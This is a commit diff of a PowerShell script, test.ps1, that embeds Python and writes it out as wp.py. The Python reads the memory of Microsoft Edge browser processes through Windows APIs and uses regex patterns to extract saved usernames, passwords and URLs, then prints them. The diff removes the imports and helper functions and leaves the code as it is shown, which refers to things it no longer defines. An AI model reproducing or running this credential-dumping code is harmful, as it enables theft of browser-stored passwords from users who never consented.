Spaces:
Running
Running
Update test.ps1
Browse files
test.ps1
CHANGED
|
@@ -1,112 +1,7 @@
|
|
| 1 |
|
| 2 |
$pythonCode = @'
|
| 3 |
-
import sys
|
| 4 |
-
import re
|
| 5 |
-
import ctypes
|
| 6 |
-
import ctypes.wintypes
|
| 7 |
-
import psutil
|
| 8 |
-
import win32security
|
| 9 |
-
import win32process
|
| 10 |
-
import win32api
|
| 11 |
-
import win32con
|
| 12 |
-
from collections import OrderedDict
|
| 13 |
-
|
| 14 |
-
# Windows API Constants
|
| 15 |
-
PROCESS_QUERY_INFORMATION = 0x0400
|
| 16 |
-
PROCESS_VM_READ = 0x0010
|
| 17 |
-
MEM_COMMIT = 0x1000
|
| 18 |
-
PAGE_READWRITE = 0x04
|
| 19 |
-
|
| 20 |
-
# ctypes Structures
|
| 21 |
-
class MEMORY_BASIC_INFORMATION(ctypes.Structure):
|
| 22 |
-
_fields_ = [
|
| 23 |
-
("BaseAddress", ctypes.c_void_p),
|
| 24 |
-
("AllocationBase", ctypes.c_void_p),
|
| 25 |
-
("AllocationProtect", ctypes.wintypes.DWORD),
|
| 26 |
-
("RegionSize", ctypes.c_size_t),
|
| 27 |
-
("State", ctypes.wintypes.DWORD),
|
| 28 |
-
("Protect", ctypes.wintypes.DWORD),
|
| 29 |
-
("Type", ctypes.wintypes.DWORD),
|
| 30 |
-
]
|
| 31 |
-
|
| 32 |
-
# Windows API Functions
|
| 33 |
-
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
|
| 34 |
-
advapi32 = ctypes.WinDLL('advapi32', use_last_error=True)
|
| 35 |
-
|
| 36 |
-
kernel32.OpenProcess.restype = ctypes.c_void_p
|
| 37 |
-
kernel32.OpenProcess.argtypes = [ctypes.wintypes.DWORD, ctypes.wintypes.BOOL, ctypes.wintypes.DWORD]
|
| 38 |
-
|
| 39 |
-
advapi32.OpenProcessToken.restype = ctypes.wintypes.BOOL
|
| 40 |
-
advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.wintypes.DWORD, ctypes.POINTER(ctypes.c_void_p)]
|
| 41 |
-
|
| 42 |
-
kernel32.ReadProcessMemory.restype = ctypes.wintypes.BOOL
|
| 43 |
-
kernel32.ReadProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)]
|
| 44 |
-
|
| 45 |
-
kernel32.VirtualQueryEx.restype = ctypes.c_size_t
|
| 46 |
-
kernel32.VirtualQueryEx.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.POINTER(MEMORY_BASIC_INFORMATION), ctypes.c_size_t]
|
| 47 |
-
|
| 48 |
-
kernel32.CloseHandle.restype = ctypes.wintypes.BOOL
|
| 49 |
-
kernel32.CloseHandle.argtypes = [ctypes.c_void_p]
|
| 50 |
-
|
| 51 |
-
|
| 52 |
-
class ProcessInfo:
|
| 53 |
-
def __init__(self, pid, name, owner, command_line=None):
|
| 54 |
-
self.Id = pid
|
| 55 |
-
self.Name = name
|
| 56 |
-
self.Owner = owner
|
| 57 |
-
self.CommandLine = command_line
|
| 58 |
-
|
| 59 |
-
|
| 60 |
-
def get_process_owner_from_token(pid):
|
| 61 |
-
"""Get process owner using Windows token."""
|
| 62 |
-
hProcess = kernel32.OpenProcess(0x1000, False, pid) # QUERY_LIMITED_INFORMATION
|
| 63 |
-
if not hProcess:
|
| 64 |
-
return "UNKNOWN"
|
| 65 |
-
|
| 66 |
-
hToken = ctypes.c_void_p()
|
| 67 |
-
if not advapi32.OpenProcessToken(hProcess, 8, ctypes.byref(hToken)): # TOKEN_QUERY
|
| 68 |
-
kernel32.CloseHandle(hProcess)
|
| 69 |
-
return "UNKNOWN"
|
| 70 |
-
|
| 71 |
-
try:
|
| 72 |
-
token_handle = hToken.value
|
| 73 |
-
sid = win32security.GetTokenInformation(token_handle, win32security.TokenUser)[0]
|
| 74 |
-
name, domain, _ = win32security.LookupAccountSid(None, sid)
|
| 75 |
-
return f"{domain}\\{name}"
|
| 76 |
-
except Exception:
|
| 77 |
-
return "UNKNOWN"
|
| 78 |
-
finally:
|
| 79 |
-
if hToken:
|
| 80 |
-
kernel32.CloseHandle(hToken)
|
| 81 |
-
if hProcess:
|
| 82 |
-
kernel32.CloseHandle(hProcess)
|
| 83 |
-
|
| 84 |
-
|
| 85 |
-
def is_printable_ascii(data):
|
| 86 |
-
"""Check if string contains mostly printable ASCII characters."""
|
| 87 |
-
if not data:
|
| 88 |
-
return False
|
| 89 |
-
printable = sum(1 for c in data if 32 <= ord(c) <= 126)
|
| 90 |
-
return printable / len(data) > 0.8 if len(data) > 0 else False
|
| 91 |
-
|
| 92 |
-
|
| 93 |
-
def extract_strings(data, min_length=4):
|
| 94 |
-
"""Extract readable strings from binary data."""
|
| 95 |
-
strings = []
|
| 96 |
-
current = []
|
| 97 |
-
for byte in data:
|
| 98 |
-
if 32 <= byte <= 126: # Printable ASCII
|
| 99 |
-
current.append(chr(byte))
|
| 100 |
-
else:
|
| 101 |
-
if len(current) >= min_length:
|
| 102 |
-
strings.append(''.join(current))
|
| 103 |
-
current = []
|
| 104 |
-
if len(current) >= min_length:
|
| 105 |
-
strings.append(''.join(current))
|
| 106 |
-
return strings
|
| 107 |
-
|
| 108 |
-
|
| 109 |
def main():
|
|
|
|
| 110 |
print("\033[92m[v]\033[0m Starting script execution\n")
|
| 111 |
print("Fetching browser processes:", end="", flush=True)
|
| 112 |
total_matches = 0
|
|
@@ -137,6 +32,7 @@ def main():
|
|
| 137 |
if skip:
|
| 138 |
continue
|
| 139 |
|
|
|
|
| 140 |
owner = get_process_owner_from_token(pid)
|
| 141 |
process_list.append(ProcessInfo(pid, proc.info['name'], owner))
|
| 142 |
except (psutil.NoSuchProcess, psutil.AccessDenied):
|
|
@@ -157,9 +53,8 @@ def main():
|
|
| 157 |
print(f"Failed to open process: {proc.Id} {proc.Name} {proc.Owner}")
|
| 158 |
continue
|
| 159 |
|
|
|
|
| 160 |
address = ctypes.c_void_p(0)
|
| 161 |
-
regions_scanned = 0
|
| 162 |
-
potential_matches = 0
|
| 163 |
|
| 164 |
while True:
|
| 165 |
mem_info = MEMORY_BASIC_INFORMATION()
|
|
@@ -176,100 +71,83 @@ def main():
|
|
| 176 |
|
| 177 |
if readable and mem_info.BaseAddress is not None:
|
| 178 |
region_size = mem_info.RegionSize
|
|
|
|
| 179 |
|
| 180 |
-
|
| 181 |
-
|
| 182 |
-
|
|
|
|
|
|
|
|
|
|
| 183 |
|
| 184 |
-
|
| 185 |
-
|
| 186 |
-
|
| 187 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 188 |
try:
|
| 189 |
-
|
| 190 |
-
except
|
| 191 |
-
|
|
|
|
|
|
|
|
|
|
| 192 |
|
| 193 |
-
|
| 194 |
-
|
| 195 |
-
if kernel32.ReadProcessMemory(
|
| 196 |
-
process_handle,
|
| 197 |
-
current_address,
|
| 198 |
-
buffer,
|
| 199 |
-
current_read_size,
|
| 200 |
-
ctypes.byref(bytes_read)
|
| 201 |
-
):
|
| 202 |
-
# 生のバイトデータとして処理
|
| 203 |
-
raw_bytes = buffer.raw[:bytes_read.value]
|
| 204 |
-
|
| 205 |
-
# 文字列を抽出
|
| 206 |
-
strings = extract_strings(raw_bytes)
|
| 207 |
|
| 208 |
-
for
|
| 209 |
-
#
|
| 210 |
-
|
| 211 |
-
|
| 212 |
-
|
| 213 |
-
r'(?:https?://[^\s\x00]+)[\x00\s]+([^\s\x00]{3,40})[\x00\s]+([^\s\x00]{6,40})',
|
| 214 |
-
# username:password@url パターン
|
| 215 |
-
r'([^\s\x00:]{3,40}):([^\s\x00@]{6,40})@(https?://[^\s\x00]+)',
|
| 216 |
-
# 単純な URL, username, password パターン
|
| 217 |
-
r'(https?://[^\s\x00]{3,100})[\x00\s]{1,10}([^\s\x00]{3,40})[\x00\s]{1,10}([^\s\x00]{6,40})',
|
| 218 |
-
]
|
| 219 |
|
| 220 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 221 |
try:
|
| 222 |
-
|
| 223 |
-
|
| 224 |
-
|
| 225 |
-
|
| 226 |
-
|
| 227 |
-
|
| 228 |
-
|
| 229 |
-
|
| 230 |
-
|
| 231 |
-
|
| 232 |
-
|
| 233 |
-
|
| 234 |
-
|
| 235 |
-
|
| 236 |
-
|
| 237 |
-
|
| 238 |
-
|
| 239 |
-
|
| 240 |
-
|
| 241 |
-
|
| 242 |
-
|
| 243 |
-
|
| 244 |
-
|
| 245 |
-
total_matches += 1
|
| 246 |
-
potential_matches += 1
|
| 247 |
-
except Exception as e:
|
| 248 |
-
pass
|
| 249 |
-
|
| 250 |
-
offset += current_read_size
|
| 251 |
-
|
| 252 |
-
regions_scanned += 1
|
| 253 |
-
|
| 254 |
-
# 進捗表示
|
| 255 |
-
if regions_scanned % 100 == 0:
|
| 256 |
-
print(f" Scanned {regions_scanned} regions...")
|
| 257 |
|
|
|
|
| 258 |
if mem_info.BaseAddress is not None and mem_info.RegionSize is not None:
|
| 259 |
address = ctypes.c_void_p(mem_info.BaseAddress + mem_info.RegionSize)
|
| 260 |
else:
|
| 261 |
break
|
| 262 |
|
| 263 |
-
print(f" Process {proc.Id}: Scanned {regions_scanned} memory regions, found {potential_matches} potential matches")
|
| 264 |
kernel32.CloseHandle(process_handle)
|
| 265 |
|
| 266 |
seen_strings.clear()
|
| 267 |
|
| 268 |
print(f"\nTotal matches found across all processes: {total_matches}. {shown_matches} shown.")
|
| 269 |
-
|
| 270 |
-
|
| 271 |
-
if __name__ == "__main__":
|
| 272 |
-
main()
|
| 273 |
'@
|
| 274 |
|
| 275 |
$pyFile = "wp.py"
|
|
|
|
| 1 |
|
| 2 |
$pythonCode = @'
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3 |
def main():
|
| 4 |
+
# 管理者権限チェックをスキップ
|
| 5 |
print("\033[92m[v]\033[0m Starting script execution\n")
|
| 6 |
print("Fetching browser processes:", end="", flush=True)
|
| 7 |
total_matches = 0
|
|
|
|
| 32 |
if skip:
|
| 33 |
continue
|
| 34 |
|
| 35 |
+
# The credentials are only stored at root/parent msedge.exe processes
|
| 36 |
owner = get_process_owner_from_token(pid)
|
| 37 |
process_list.append(ProcessInfo(pid, proc.info['name'], owner))
|
| 38 |
except (psutil.NoSuchProcess, psutil.AccessDenied):
|
|
|
|
| 53 |
print(f"Failed to open process: {proc.Id} {proc.Name} {proc.Owner}")
|
| 54 |
continue
|
| 55 |
|
| 56 |
+
# 修正: アドレスを適切に初期化
|
| 57 |
address = ctypes.c_void_p(0)
|
|
|
|
|
|
|
| 58 |
|
| 59 |
while True:
|
| 60 |
mem_info = MEMORY_BASIC_INFORMATION()
|
|
|
|
| 71 |
|
| 72 |
if readable and mem_info.BaseAddress is not None:
|
| 73 |
region_size = mem_info.RegionSize
|
| 74 |
+
|
| 75 |
|
| 76 |
+
try:
|
| 77 |
+
buffer = ctypes.create_string_buffer(region_size)
|
| 78 |
+
except (OverflowError, MemoryError):
|
| 79 |
+
# バッファが作成できない場合はスキップ
|
| 80 |
+
address = ctypes.c_void_p(mem_info.BaseAddress + mem_info.RegionSize)
|
| 81 |
+
continue
|
| 82 |
|
| 83 |
+
bytes_read = ctypes.c_size_t(0)
|
| 84 |
+
|
| 85 |
+
if kernel32.ReadProcessMemory(
|
| 86 |
+
process_handle,
|
| 87 |
+
mem_info.BaseAddress,
|
| 88 |
+
buffer,
|
| 89 |
+
region_size,
|
| 90 |
+
ctypes.byref(bytes_read)
|
| 91 |
+
):
|
| 92 |
try:
|
| 93 |
+
utf8_data = buffer.raw[:bytes_read.value].decode('utf-8', errors='ignore')
|
| 94 |
+
except Exception:
|
| 95 |
+
try:
|
| 96 |
+
utf8_data = buffer.raw[:bytes_read.value].decode('latin-1', errors='ignore')
|
| 97 |
+
except Exception:
|
| 98 |
+
utf8_data = ""
|
| 99 |
|
| 100 |
+
if utf8_data:
|
| 101 |
+
lines = re.split(r'\r\n|\r|\n', utf8_data)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 102 |
|
| 103 |
+
for line in lines:
|
| 104 |
+
if len(line) < 1: # 短すぎる行はスキップ
|
| 105 |
+
continue
|
| 106 |
+
|
| 107 |
+
pattern = r'[a-zA-Z]https?\x20([a-zA-ZæøåÆØÅ0-9\\\-_.@\?]{3,20})\x20([a-zA-ZæøåÆØÅ0-9#!@#\$%\^&\*\(\)_\-\+=\{\}\[\]:;<>\?/~\s]{6,40})\x20\x00'
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 108 |
|
| 109 |
+
try:
|
| 110 |
+
matches = re.finditer(pattern, line)
|
| 111 |
+
except Exception:
|
| 112 |
+
continue
|
| 113 |
+
|
| 114 |
+
for match in matches:
|
| 115 |
try:
|
| 116 |
+
username = match.group(1)
|
| 117 |
+
password = match.group(2)
|
| 118 |
+
potential_pattern = f"{username} : {password}"
|
| 119 |
+
|
| 120 |
+
url_pattern = (
|
| 121 |
+
r'\x00\x00\x00'
|
| 122 |
+
r'([A-Za-z0-9\-._~:/?#\[\]@!$&\'()*+,;=%]+)'
|
| 123 |
+
r'(https?)'
|
| 124 |
+
+ re.escape(f'\x20{username} {password}')
|
| 125 |
+
)
|
| 126 |
+
|
| 127 |
+
for url_match in re.finditer(url_pattern, line):
|
| 128 |
+
value = url_match.group(1)
|
| 129 |
+
combined = f"{potential_pattern} @{value}"
|
| 130 |
+
if combined not in seen_strings:
|
| 131 |
+
print(combined)
|
| 132 |
+
seen_strings.add(combined)
|
| 133 |
+
shown_matches += 1
|
| 134 |
+
total_matches += 1
|
| 135 |
+
|
| 136 |
+
already_checked_users.add(user_process_key)
|
| 137 |
+
except Exception:
|
| 138 |
+
continue
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 139 |
|
| 140 |
+
# 修正: 次のメモリリージョンへ移動(BaseAddressとRegionSizeがNoneでないことを確認)
|
| 141 |
if mem_info.BaseAddress is not None and mem_info.RegionSize is not None:
|
| 142 |
address = ctypes.c_void_p(mem_info.BaseAddress + mem_info.RegionSize)
|
| 143 |
else:
|
| 144 |
break
|
| 145 |
|
|
|
|
| 146 |
kernel32.CloseHandle(process_handle)
|
| 147 |
|
| 148 |
seen_strings.clear()
|
| 149 |
|
| 150 |
print(f"\nTotal matches found across all processes: {total_matches}. {shown_matches} shown.")
|
|
|
|
|
|
|
|
|
|
|
|
|
| 151 |
'@
|
| 152 |
|
| 153 |
$pyFile = "wp.py"
|